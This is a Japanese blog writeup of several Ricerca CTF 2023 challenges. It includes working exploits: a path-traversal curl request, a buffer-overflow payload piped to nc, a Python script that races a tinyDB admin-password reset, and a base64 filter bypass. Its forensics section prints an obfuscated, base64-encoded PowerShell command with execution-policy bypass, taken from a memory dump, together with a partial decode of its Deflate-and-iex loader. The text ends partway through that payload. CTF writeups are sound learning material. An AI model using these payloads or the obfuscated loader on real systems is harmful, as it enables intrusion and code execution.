st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Ricerca CTF 2023 writeup

4/22に12時間という競技時間で開催された。zer0ptsで参加*1して6位だった。競技後半はより解けそうなものに時間を費やしたかったので、WebでなくReversingのtic tac toe?とRSLockerに挑んでいたものの解ききれず。Webも結局funnylfiとps converterが解けずという様子だった。悔しい*2

ほかのメンバーのwriteup:

furutsuki.hatenablog.com


競技時間中に解いた問題

[Welcome 81] welcome (166 solves)

Welcome to Ricerca CTF 2023! To find the flag for this challenge:

  1. Read the rule.
  2. Find the flag posted in #announcement channel in Discord

authored by Ricerca Security, Inc.

もちろんルールを読んだ上で、Discordの指定されたチャンネルを確認するとフラグが書かれていた。

RicSec{do_U_know_wh4t_Ricerca_means_btw?}

[Reversing 88] crackme (134 solves)

Can you crack the password?

authored by ptr-yudai

添付ファイル: crackme

x86_64のELFが与えられている。実行してみるとパスワードの入力が要求された。正解のパスワードを探し出す必要があるらしい。

$ file crackme
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e109ac8573ee031e7432c0d27a973fb37e492c80, for GNU/Linux 3.2.0, stripped
$ ./crackme
Password: 5963
[-] Permission denied

IDA Freewareに投げてデコンパイルしてもらうと、大変きれいなCのコードが返ってくる。strcmp(_0, "N1pp0n-Ich!_s3cuR3_p45$w0rD") から、パスワードが N1pp0n-Ich!_s3cuR3_p45$w0rD であるとわかる。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // r12d
  char _0[96]; // [rsp+0h] [rbp+0h] BYREF
  int anonymous0; // [rsp+60h] [rbp+60h]
  unsigned __int64 vars68; // [rsp+68h] [rbp+68h]

  v3 = 1;
  vars68 = __readfsqword(0x28u);
  __printf_chk(1LL, "Password: ", a3);
  memset(_0, 0, sizeof(_0));
  anonymous0 = 0;
  if ( (unsigned int)__isoc99_scanf("%99s", _0) == 1 )
  {
    v3 = 1;
    if ( !strcmp(_0, "N1pp0n-Ich!_s3cuR3_p45$w0rD") )
    {
      v3 = 0;
      puts("[+] Authenticated");
      sub_1290(_0);
    }
    else
    {
      puts("[-] Permission denied");
    }
  }
  if ( __readfsqword(0x28u) != vars68 )
    start();
  return v3;
}

これを入力してみると、フラグが得られた。

$ ./crackme
Password: N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
The flag is "RicSec{U_R_h1y0k0_cr4ck3r!}"
RicSec{U_R_h1y0k0_cr4ck3r!}

[Web 95] Cat Café (113 solves)

Which cat do you like the most?

https://cat-cafe.2023.ricercactf.com:8000

authored by ptr-yudai

添付ファイル: cat-cafe.zip

与えられたURLにアクセスすると、7匹の😻猫ちゃん😻が所属する猫カフェの情報が表示される。

猫の画像は /img?f=01.jpg のような感じで読み込まれている。ファイル名を指定しているあたり、Path Traversalできそうで怪しい。ソースコードが与えられているので確認する。このAPIに対応する部分は以下の通り。

../ が消されているので一見Path Traversalできなさそうだが、実は ..././hoge をクエリパラメータとして与えると、真ん中の ../ が消されて ../hoge という文字列になる。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

フラグの場所は Dockerfile に書かれている。

ADD ./flag.txt  ./

/home/ctf/flag.txt を取得するとフラグが得られた。

$ curl --path-as-is "http://cat-cafe.2023.ricercactf.com:8000/img?f=....//....//...//....//....//home/ctf/flag.txt"
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

本番ではトップページをまったく見ずに解いていた。すいません。

[Pwn 97] BOFSec (107 solves)

100% authentic

nc bofsec.2023.ricercactf.com 9001

authored by ptr-yudai

添付ファイル: bofsec.tar.gz

main.c というCのコードと、それをコンパイルしたx86_64のELFが与えられる。ユーザ名を要求されるが、何を投げても Authentication failed と怒られてしまう。

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8b20e650fc39b334621da16ee76a07c7491aa493, for GNU/Linux 3.2.0, not stripped
$ ./chall
Name: nemui desu
[-] Authentication failed.

main.c は以下の通り。なるほど、user.is_admin が0以外であればログインができ、フラグが得られるらしい。auth_t という構造体は、ユーザ名の直後にまさにその is_admin が配置されているというような作りになっている。もしユーザ名の入力時にバッファオーバーフローができれば、is_admin を書き換えられるので嬉しい。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();

  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

ユーザ名の入力処理を確認する。scanf("%s", user.name) と入力時に文字数制限はないことがわかる。これを使って is_admin を書き換えたい。

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

いけた。

$ python3 -c 'print("A"*0x100+"\x01")' | nc bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}
RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

[Web 135] tinyDB (50 solves)

It's a tiny tiny user database...

http://tinydb.2023.ricercactf.com:8888

authored by xryuseix

添付ファイル: tinydb.zip

与えられたURLにアクセスすると、いい感じのログインフォームが表示される。

適当な認証情報を入力すると、guest という grade で登録される。admin というユーザ名でも同様。

Are you an Admin? というリンクから /admin に飛ぶと、管理者向けのログインフォームが表示される。先程登録した認証情報を入力しても no flag for you :) と怒られるだけだった。

ソースコードを見ていく。db.ts を確認すると、ユーザDBはセッション単位で管理されていることがわかる。Cookieに保存されているセッションIDを消すと、最初からやり直せる。初期状態で admin というユーザが登録されているが、そのパスワードはランダムな文字列であり、推測はできない。

export function randStr() {
  return crypto.randomBytes(16).toString("hex");
}

let adminPW = randStr();

// …

export function getUserDB(session: string) {
  if (db.has(session)) {
    return db.get(session) as UserDBT;
  } else {
    const userDB = new Map<AuthT, gradeT>();
    userDB.set(
      {
        username: "admin",
        password: adminPW,
      },
      "admin"
    );
    db.set(session, userDB);
    return userDB;
  }
}

管理者向けのページである /admin だけれども、こちらはユーザDBに存在しているユーザのうち、gradeadmin となっているものの認証情報を入力することでフラグが返されるような仕組みになっているようだ。

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

/set_user を見ていく。これは最初に見たユーザ登録用のAPIだが、これを使って登録する場合は、登録されたユーザの grade が必ず guest になることがわかる。

server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

  response.type("application/json").send(res);
});

さて、この中で気になる処理があった。ユーザDBに登録されているユーザの数が一定数を超えると、DBが初期化される。この初期化の処理が怪しく、

  1. 全ユーザを消去
  2. ***…*** という仮パスワードで管理者のアカウントを作成
  3. 2から数秒後に、randStr で管理者のパスワードを変更

というような流れになっている。2から3までの間は管理者のパスワードが ***…*** という推測が大変簡単なものになってしまっている。このタイミングを狙って管理者としてのログインを試みる。

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

Pythonでそのようなスクリプトを書く。

import requests

TARGET = 'http://tinydb.2023.ricercactf.com:8888'

sess = requests.Session()
sess.get(f'{TARGET}')

for i in range(1, 11):
    sess.post(f'{TARGET}/set_user', json={
        'username': 'a' * i,
        'password': 'a' * i
    })

r = sess.post(f'{TARGET}/get_flag', json={
    'username': 'admin',
    'password': '*' * 32
})
print(r.text)

これを実行する。フラグが得られた。

$ python3 s.py
{"flag":"great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}"}
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

[Misc 200] gatekeeper (21 solves)

Bypass the base64 filter

nc gatekeeper.2023.ricercactf.com 10005

authored by Arata

添付ファイル: gatekeeper.tar.gz

ソースコードが与えられているが、大変シンプル。与えた文字列をBase64デコードしてくれるサービスで、もしデコードした結果が open sesame! であればフラグをくれる。ただし、与えた文字列は b3BlbiBzZXNhbWUh (これをBase64デコードすると open sesame! となる)から始まっていてはならない。

import subprocess

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')

  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')

  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())
  else:
    print('Wrong')

無理ゲーに見えるが、Pythonbase64 モジュールではなく、base64 というOSコマンドによってBase64デコードが行われていることに注目する。

入力文字列の頭や間に様々な文字を入れてブルートフォースしてみたり、Base64のルールから外れる適当な文字列を入力してみたりと色々試していたところ、次のように複数のBase64デコード可能な文字列を投げてやると、それらすべてがデコードされることがわかった。

$ echo "bmVrbw==bmVrbw==bmVrbw==" | base64 -d
nekonekoneko

これを利用して、o の部分と pen sesame! の部分をそれぞれ別にBase64エンコードし、その結果をつなげて投げる。フラグが得られた。

$ echo "b3==cGVuIHNlc2FtZSE=" | nc gatekeeper.2023.ricercactf.com 10005
password: RicSec{b4s364_c4n_c0nt41n_p4ddin6}

[Forensics 257] My name is Power! (12 solves)

Show me your Power!

authored by pinksawtooth

添付ファイル: memory.zip

4.5GBものWindowsのメモリダンプが与えられる。問題名からPowerShell関連の問題なのだろうなあと推測しつつVolatilityに投げて、まず windows.pstree.PsTree でプロセスのリストを取得する。やっぱりPowerShellがいますねえ。

$ vol -f memory.raw windows.pstree.PsTree
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime

4       0       System  0xd385716fa040  167     -       N/A     False   2023-04-18 08:36:15.000000      N/A
* 104   4       Registry        0xd3857187d080  4       -       N/A     False   2023-04-18 08:36:12.000000      N/A
* 1988  4       MemCompression  0xd38571736040  22      -       N/A     False   2023-04-18 08:36:19.000000      N/A
* 436   4       smss.exe        0xd38574654040  2       -       N/A     False   2023-04-18 08:36:15.000000      N/A
…
****** 6772     4384    cmd.exe 0xd3857ae980c0  2       -       1       False   2023-04-18 08:44:16.000000      N/A
******* 1460    6772    conhost.exe     0xd38579426080  6       -       1       False   2023-04-18 08:44:16.000000      N/A
******* 2068    6772    powershell.exe  0xd3857a35e080  20      -       1       False   2023-04-01 08:44:54.000000      N/A
…

windows.cmdline.CmdLine でどのようなコマンドが実行されているか確認する。どう見てもあかんやつがいる。

$ vol -f memory.raw windows.cmdline.CmdLine
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
PID     Process Args

4       System  Required memory at 0x20 is not valid (process exited?)
104     Registry        Required memory at 0x20 is not valid (process exited?)
436     smss.exe        \SystemRoot\System32\smss.exe
…
2068    powershell.exe  pOwERsHEll  -eP bYpASs -e JgAgACgAIAAkAFAAcwBIAE8AbQBlAFsANABdACsAJABwAHMASABvAE0ARQBbADMANABdACsAJwBYACcAKQAoACAATgBFAFcALQBvAEIAagBFAEMAdAAgAEkATwAuAEMATwBtAFAAcgBFAHMAcwBpAG8ATgAuAEQAZQBmAGwAYQB0AEUAUwBUAHIAZQBhAE0AKABbAHMAeQBTAHQARQBNAC4ASQBvAC4ATQBlAG0ATwBSAFkAUwB0AHIAZQBBAE0AXQAgAFsAQwBvAE4AdgBFAHIAVABdADoAOgBmAFIAbwBNAEIAQQBTAGUANgA0AFMAdABSAGkATgBnACgAJwBmAFYAZABaAGMAOQBwAEkARQBQADQAcgBVADYAbgBkAEkAQgBXAEkAUQBnAGYAWQBRAFAAawBCAFkAOQBtAFEAbQBHAE0AQgB1ACsASwBsAGUASgBEAGwAdwBTAGoARwBFAGgAYQBLAGIAVQBxAGwALwA3ADUAZgB6AHkARgBJAEgAagBaAGwATgBEADAAOQAzAFQAMwBUAGQANABmAFYAbQBjAEgAKwBlAHYAZgBUAHgAOABtAGUAVAAxAFAALwBtAHMALwA0AE8AUABUAHIAaQAyAFMALwBTAEkAZgB4AHMAMgBFAHUANwBaAHEANwBxAGwAWgArAFYASwB5AGYAawAyAGgAYwBxAFoAZwBHAC8AbgAzAEoAbgBYAGEAUgBOADQAdgBjAFAAYwBlAEMAMQBTADUAeQByADEAWABrAHoAaABsACsAKwBBAFAAbwB1AHYAZwBSAEcAcQB1AEQARgBmAFMARQBwAFYAUAB3AHUATgBpADYASAB2AGkASQBsADIAUQBBAGIAbwBMAFMAQgBvADAASABJAFkAUQBDAGsAdwAxAFUAcwB3AEUAVwB1AGcAcABvAEYAOABkAE4ARQBrAEYAQwBzAFIASQBIAEoASQBIAFoAQgBWAFUAVABGAEIANgAyAEIARQBLAEEAZwA5AFcAagBIAHcAZwA5AEMASABOAEEANQB0AEYAOQB0AEsAZQA3ADYAWABXAGcAcwAwAEYAagBnADcAVQBKADQAVgBoAHMAawB0AFkAcwB2AGwAagByAFMAagA2ADkAKwAwAHkAVAB6AFgAeABRAHgAZQAvAHoAMABWAG8AVgBVAGEANQAyAE8ARgBrAFcAagAwAFIAdwBRAFYAaQB4AHYAYQBRAGwATgA2AHQAVgBpAGUAaABlAEQANABQAE4ANAB2ADMAaAAyADAAMwBzADQAMwB0AGIAcQBWAFgAQQB5AEgAZwAvADIATwA3ADQAegBQAEwAYwAxAFMAegBZADkASgBjADEAcwAzAEUAbQBvAGEAcQByAGcAYgBPADIAQgBJAHkAUwBtAHIAWABjAEYAUQBRAE0AdQBrAFcAMwAwAFcAaQB4AC8AVgBPAGMAaABIAHgAdQBNAFgAUAAzAEUAbQAzAG4AVgBwAFkARwAyAFIAeABnAGIAZgBjAEMASwBnAEQAWgBUAHUANgBpAFEAOQBxAHYASAA3AEkAbwAvAFIAVgBpAHMANwBZAFkASABsAFUANABlAGQASABLAGkAMgBaAGUAdABQAFAAQwB6AFEAcwA3AEwAeABwADUAYwBaAFkAWABZAEIAVQA4AC8AQwBjACsAYgBHADAAcAAyAGcAYQBSAEEARABiAHEAUwBuAGwAMgB3AFkAbwBOAFYARgBMAGIAdQBkAEMAVwBYAHAATAB5AHAAKwBnADkAVQBUAGYAegBIAGoANgBiAE8AWQBTAHkAMwBHAEQATABHAGIALwBoAFAAMQBhAGQAegBtAHMAdgA2AHcALwA4AHYAZgBIAHYAMQBZADAASgBaAHYAeQBOAG8AOABrADMAYQA5AFYAMABhAGsAMgA3ADUAaQAzADcALwBoAFEAcwBVAHYATAB6AG0ATgAvAGkANAByAHEAMABOAEsAcwAxAFcARQAyAEMAQgBuADkASgAzAHUATgBoAG4AUwA3AGQAeAAwAEYASwBOADAAbgA3AEUAbAB2AEcAOQB6AGsAegBiAGYAYgBHAEwAWABZAEkAcgB1AG8AbQB6ADQASQByAEsAKwBNADMAQgBuAHUASwBBADQAdAA1ADcARQAwAFMARgB3AE0AaAA5ADQASwBzAGMAdQBEAFEANgBFAFgAYwAxAHAATQBLAG0AYwBWADMAZQBaAGMAUwBlADMATABsAFQAcQBPAGkAbQBvAEwASQA1AHYAeABHAHEANQA0AGQATABvAFcANQByADkAWABwAG4ANABZAHMANwBvAFIAawB3AEkATgA5AFEASwBiADAARgA3ACsAbQBJADYAdwBUAC8ARQBMAHgAQwBIAEQAaABrAFQAQwB5AHMAQQBiADUAZgBxAGYAOQBFADMAeABrADYAMgBUAHUAVAAzAFkAdgBTAHIAegBBAHIAdABYAGwAMQA0AHMAKwBIAFEAbgA0AEUAeQB4AFMAUwBlAEcAZgBWADQAWAAyAHoANgA4AFgAZAAvAFgAcwBVADcASAB6AFIAYgAxADgAKwBQADYAZwA0AGkAaAA2AFYAbQBzAGMAUABTAFYAaABUAEIAZABBAEcAQwB5ADYAeQBlAEoAawBkAEcASgBUAFkAdwAwAHYARAB3AHkARAB3AGEATwBNAHoARQBGAGgASQBvAEIAMABlAEQAUABJAEYAcwBuAFcAWAB5ADgASQBaAFYAcgBmAGsAaQBoAG0AMAB1AGsAbQBPADAAcwB6ADkAdABWAGcAdwB4AEgARQAxAGcAcwB1AFAAVQBGADYAMABwAFAAZwBrAHQASgAwADkANwBEAEoAOABNAFEAeABvAEsARwBEAG8AUABCAHkAVwBKAFgAaQBxADcAZwBDAGkAWgBEAFEAVgBWAHkAbQB3AFgARQBBAGcAZwBhAGkAKwAxAHcAWQBYAGUAUgBLAEYAaQBxAHQASABpAGYAVwBCAHgAKwBMAGQAQwBGAFAAcABNAGsAYQBEAHEAYwBRADEAdQBlAFAAdABqAGEAbwBxACsAMABNADIAagAzADIAeAB0AGQAdQA4AGUAUgBMAG8ANQBJAEgARgArAC8AawBtAEMAZQBpADEAcwA5AFgAaQBUAGoAMQBrAGIAbgBNADEARwA4AFMAdQBDAEUAUgA2ACsAegBrADkATQBxADAAYgB4AEUATgBvAEoAZQBJAEQAdABmAE0ARwBJADQAZQBlAFAAegBlADYAVQA5AEcAMAA3AHUARgBQAHgAdgAzAFIAagA2AHoAKwBCAHUAWgBlAEQAYgBzAHoALwAwACsAWgBZACsAKwBqAEEAUgBGADcAeQBsAFgATQB1AGYASgBTAFgAUwBLAFkASgBWAHIAdABqAHQAbwA1AGUAYgBhADMAOAA4ADYAVwBTAEYAcgBqAEYAZQBZAEQAbABXAGUAUQBiAGgAYwBQAGMAZgBEADIAVwBLAFAANgB1AFEAMQBKAGEAWgBxADIANwBhAEMAdgBJAGEAQwBEAEkAcABnAEgAdgBhADIAVQA3AEoALwBTAGoANABTAFIAcgB4AFcAVQBwAE4ATgBSADAARgAzAGEAbAAzADAAagAvAGsAaQBnAGoAYgBaAEoAMgBrAFkASwBlAFMAbwBwAFkAQgBrAG8ANwBWAHAASgBaAHQATQBnAGYAMwB2AG0AaQB1AFoAdAB4AFMAVQBCAGgAOQBsAHQAYQBEADkAUwA1AGgAcwBMADcAZQBCAE8ASgBXAFYAVQBOAGMAcwBWAGYAdABrAHMAVgBOAEkAUgA2ADAAeQBLAGUARgBWAEcAWQBYADgAMQB6AGEANABsADcAVQAxADUAbQBWAGUAUABjAG0ATQBSAGwARwBYAFQARgBwAEkAbQBkAFcATQB2AHcAWQA2AFIAZABWAFoASABGADIALwBJAHIAUQAwAHAAeQBvAEMAVgBIAE4AUABiADYAWQA4AG4AMgAvADQANwBlADMAdwBhAG0AbQB2AHEAbgBBACsANwBiAFkAUgBkAHUAaQA5ADEASABzAG8AZQBvAHEAdQBMAEYAcQBCAHIAdQB3ADYAVQBiAFcAcAArAEgATQBRAEsANwBIAEIAcQBOAFYAMABlAGcAbwAvAG0ATgBjAFAAcABlAE0AaABBADYAcABTAEIAYgA4AHIAeQB3AEsAeQBYAHAAMQB2AFIATwBoAFEAbgBJADgAbQBZAGUAYwArADUAbgBnAEwATQArAHAASQBWAGIATgBkADkAaQB0AEgAQgBJAEwAbwBVAHcAMABOAE4AVABWAGsAOABIADcAdgBkAHUAbwBqAHAAbABzAEkASgBVAGgAYQBpAEsAZwBmAG4AUABTAGUAaAB0AFoAZAAyAGUAMgAzAFkAcwA2ADEAdAB4AFcAUgBEAG4ASwB6ADMAVgBxAGwAUABZAHEAKwA5AHAAawBDAEcAbwA0AHQASQBWAGcAKwBEAEwAYQBnADEAUABYADMAbwBKAGcAdgBNAC8ANgAvAFoAUgBnAGYAWgBBADQAcQA3AGoAdwBBADIARgBGAFUASABmAHYANwA4AEoALwAyAG4AaQBLAEIAWABSAFEAdgB1AHAAZABmAGoAVABuAFIAcgBtAFcAVQBJADEASABFADMAVABXAFIAdQBEAHIARgAxAHMAZgBHADIAUgBaAE4AMQBoAE4AOQBWAGcAYQBkAFEANQBXAEkAKwBxAHcAcgAxAFoAWQBWAGkAYwBKAFUANgAvAHoAWgBPAFkAMABVAFcAMABUAEsAbQBaAEQAZwBDAFEAbQB0ADMAeABpAGYAUgBTADAAeQBMAHUAVABnAHcAVgBqAFgAWgBEAHIAWQA2AFYAdwBiAFkAeABLAE8ATQBkAEIAOQArAG0AVQBOAGkAMgBUAE8AagBmAHoASgBwADgANwBPAFkAMgByAHgAVgBQAGgATAB1AGwAbwBPAE8AbgBKAHEASQBhADgAZQBXADIAegBUAHIAdABjAGIARgBFAFgAdgBRACsAMQBOAFUASwA1AFcAUwA3AFMAKwB4ADIAVgBYAFIAVgBIAHAAUgBaAEkAOAAxAHAAUgBQADIAbAByADEAawBiADkAUQA4AFAANQBoAHIAMQBTAG4AZgByAGMANwBUAGkAMAA2AHUATgBNAHAAMQA2AFcANwBmAHQAagBzAEEAbAAzAEsAWABuAFgATABFAG0AYgBYADQAVgA4ADQAdAByAEEAMwBWAGYAKwAyAHMASwBFAG4AagBHAC8AYgB3AHEAeABhAGkAUgBKAHkAaABiAE0AYQB4AHoANQBSADMAdgB2AHoAVQBmAGQAUwAyAFMAOQBVAEsAUwAzAGQATABOAFAAWgBLAFUATwBLAGIAQwBMAGIAVgBMAEcAaQBXAHAASABkAEkARwBiADAARwBDAE4AaQA2AFcAOAA5AEwANQBLAGQAcgBXAE8AZgBLADkAKwB1AEEARgB2AFgAQwB0AEgAbQBUAGoAbwBZAHgANQBzAHMAOQBSAEwAOQBvAGcAOQArAEwAUABwAC8ARABHADYAcQBYAFcANwAyAHUARgBYAFAAcwBuAGcAbAAwAEgAbwBjAFMASwBrAE4AaQBOAEQAUQBUAFAASgBhAE8AYQBvAEUAYQBrAFoAQwBpAHoANABPAHYAOQAzAGkAWABtAGoAQgBaAE4AOABxADgAegBjADkAcgBlADgAbgBvADUARgBXAHIAbgBSAG4AbwBtAE4AZQBZACsARAB6AE0AUABhAFAASQA0ADAAdQAyAEYAUwB3AFYAQwB6AEMAawBqAFQAUAA2AEoARwBWAG4AcgBmAGkAMAA0AGYARgBrAHUARgAvAE0AYwBJADQAOQBwAEcALwBTAHQAMQBnAGkAQQA4AEIAYgArADEAOQB4ADkAOAArAEIAdQBnAFgAOQA1AFEAMQBqAEwAMwA2ADIAZABDAEMAdABMADUAMgBLAFcAQQA5AGQANABuAFMAUQBkAHAAbABXADAAdgBOADgAbwAwAEwAQQBCAFgAVAB0AEYASQArADMAUQBZAGgAWgB4AFgAVQB4AEUAcAB0AEcAVwA2AEMAMgBjAHAAMgBQAE0AYgBLAEUAMQBaAEIAYwA5AFoASAByAG0AZQBGAE0AeAB6ADAANgBNAEIAUQA1AEEAMgB2AEsAcQBGAHoAVgB3AEYAbgBqAHEAawBaADIAawBlAEcAQwBxAHAAdgBLAGEAaABsAE0AdgBNAC8AJwApACAALAAgAFsAcwBZAFMAdABFAE0ALgBJAE8ALgBjAG8AbQBQAHIAZQBzAHMAaQBvAG4ALgBjAE8AbQBwAFIAZQBTAHMASQBvAE4AbQBPAGQAZQBdADoAOgBEAGUAQwBvAG0AcAByAEUAUwBTACkAfAAlAHsAIABOAEUAVwAtAG8AQgBqAEUAQwB0ACAASQBvAC4AUwB0AFIARQBBAE0AUgBlAGEAZABFAFIAKAAgACQAXwAgACwAWwB0AEUAeAB0AC4AZQBuAEMATwBEAGkATgBnAF0AOgA6AGEAUwBDAEkASQApACAAfQAgACkALgByAGUAYQBEAHQAbwBFAE4ARAAoACkAIAA=
…

PowerShellでは -e オプションを付与することで、Base64エンコードされたPowerShellスクリプトを実行できるらしい。なるほど、先程の文字列をCyberChefでBase64デコードすると、次のようなスクリプトが出てきた。最初の部分はどうせ & iex。後半部分の文字列は、どうやらDeflateしたスクリプトBase64エンコードしたものっぽい。

& ( $PsHOme[4]+$psHoME[34]+'X')( NEW-oBjECt IO.COmPrEssioN.DeflatESTreaM([syStEM.Io.MemORYStreAM] [CoNvErT]::fRoMBASe64StRiNg('fVdZc9pIEP4rU6ndIBWIQgfYQPkBY9mQmGMBu+KleJDlwSjGEhaKbUql/75fzyFIHjZlND093T3Td4fVmcH+evfTx8meT1P/ms/4OPTri2S/SIfxs2Eu7Zq7qlZ+VKyfk2hcqZgG/n3JnXaRN4vcPceC1S5yr1Xkzhl++APouvgRGquDFfSEpVPwuNi6HviIl2QAboLSBo0HIYQCkw1UswEWugpoF8dNEkFCsRIHJIHZBVUTFB62BEKAg9WjHwg9CHNA5tF9tKe76XWgs0Fjg7UJ4VhsktYsvljrSj69+0yTzXxQxe/z0VoVUa52OFkWj0RwQVixvaQlN6tVieheD4PN4v3h203s43tbqVXAyHg/2O74zPLc1SzY9Jc1s3EmoaqrgbO2BIySmrXcFQQMukW30Wix/VOchHxuMXP3Em3nVpYG2RxgbfcCKgDZTu6iQ9qvH7Io/RVis7YYHlU4edHKi2ZetPPCzQs7Lxp5cZYXYBU8/Cc+bG0p2gaRADbqSnl2wYoNVFLbudCWXpLyp+g9UTfzHj6bOYSy3GDLGb/hP1adzmsv6w/8vfHv1Y0JZvyNo8k3a9V0ak275i37/hQsUvLzmN/i4rq0NKs1WE2CBn9J3uNhnS7dx0FKN0n7ElvG9zkzbfbGLXYIruomz4IrK+M3BnuKA4t57E0SFwMh94KscuDQ6EXc1pMKmcV3eZcSe3LlTqOimoLI5vxGq54dLoW5r9Xpn4Ys7oRkwIN9QKb0F7+mI6wT/ELxCHDhkTCysAb5fqf9E3xk62TuT3YvSrzArtXl14s+HQn4EyxSSeGfV4X2z68Xd/XsU7HzRb18+P6g4ih6VmscPSVhTBdAGCy6yeJkdGJTYw0vDwyDwaOMzEFhIoB0eDPIFsnWXy8IZVrfkihm0ukmO0sz9tVgwxHE1gsuPUF60pPgktJ097DJ8MQxoKGDoPByWJXiq7gCiZDQVVymwXEAggai+1wYXeRKFiqtHifWBx+LdCFPpMkaDqcQ1uePtjaoq+0M2j32xtdu8eRLo5IHF+/kmCei1s9XiTj1kbnM1G8SuCER6+zk9Mq0bxENoJeIDtfMGI4eePze6U9G07uFPxv3Rj6z+BuZeDbsz/0+ZY++jARF7ylXMufJSXSKYJVrtjto5eba3886WSFrjFeYDlWeQbhcPcfD2WKP6uQ1JaZq27aCvIaCDIpgHva2U7J/Sj4SRrxWUpNNR0F3al30j/kigjbZJ2kYKeSopYBko7VpJZtMgf3vmiuZtxSUBh9ltaD9S5hsL7eBOJWVUNcsVftksVNIR60yKeFVGYX81za4l7U15mVePcmMRlGXTFpImdWMvwY6RdVZHF2/IrQ0pyoCVHNPb6Y8n2/47e3wammvqnA+7bYRdui91HsoeoquLFqBruw6UbWp+HMQK7HBqNV0ego/mNcPpeMhA6pSBb8rywKyXp1vROhQnI8mYec+5ngLM+pIVbNd9itHBILoUw0NNTVk8H7vduojplsIJUhaiKgfnPSehtZd2e23Ys61txWRDnKz3VqlPYq+9pkCGo4tIVg+DLag1PX3oJgvM/6/ZRgfZA4q7jwA2FFUHfv78J/2niKBXRQvupdfjTnRrmWUI1HE3TWRuDrF1sfG2RZN1hN9VgadQ5WI+qwr1ZYVicJU6/zZOY0UW0TKmZDgCQmt3xifRS0yLuTgwVjXZDrY6VwbYxKOMdB9+mUNi2TOjfzJp87OY2rxVPhLuloOOnJqIa8eW2zTrtcbFEXvQ+1NUK5WS7S+x2VXRVHpRZI81pRP2lr1kb9Q8P5hr1Snfrc7Ti06uNMp16W7ftjsAl3KXnXLEmbX4V84trA3Vf+2sKEnjG/bwqxaiRJyhbMaxz5R3vvzUfdS2S9UKS3dLNPZKUOKbCLbVLGiWpHdIGb0GCNi6W89L5KdrWOfK9+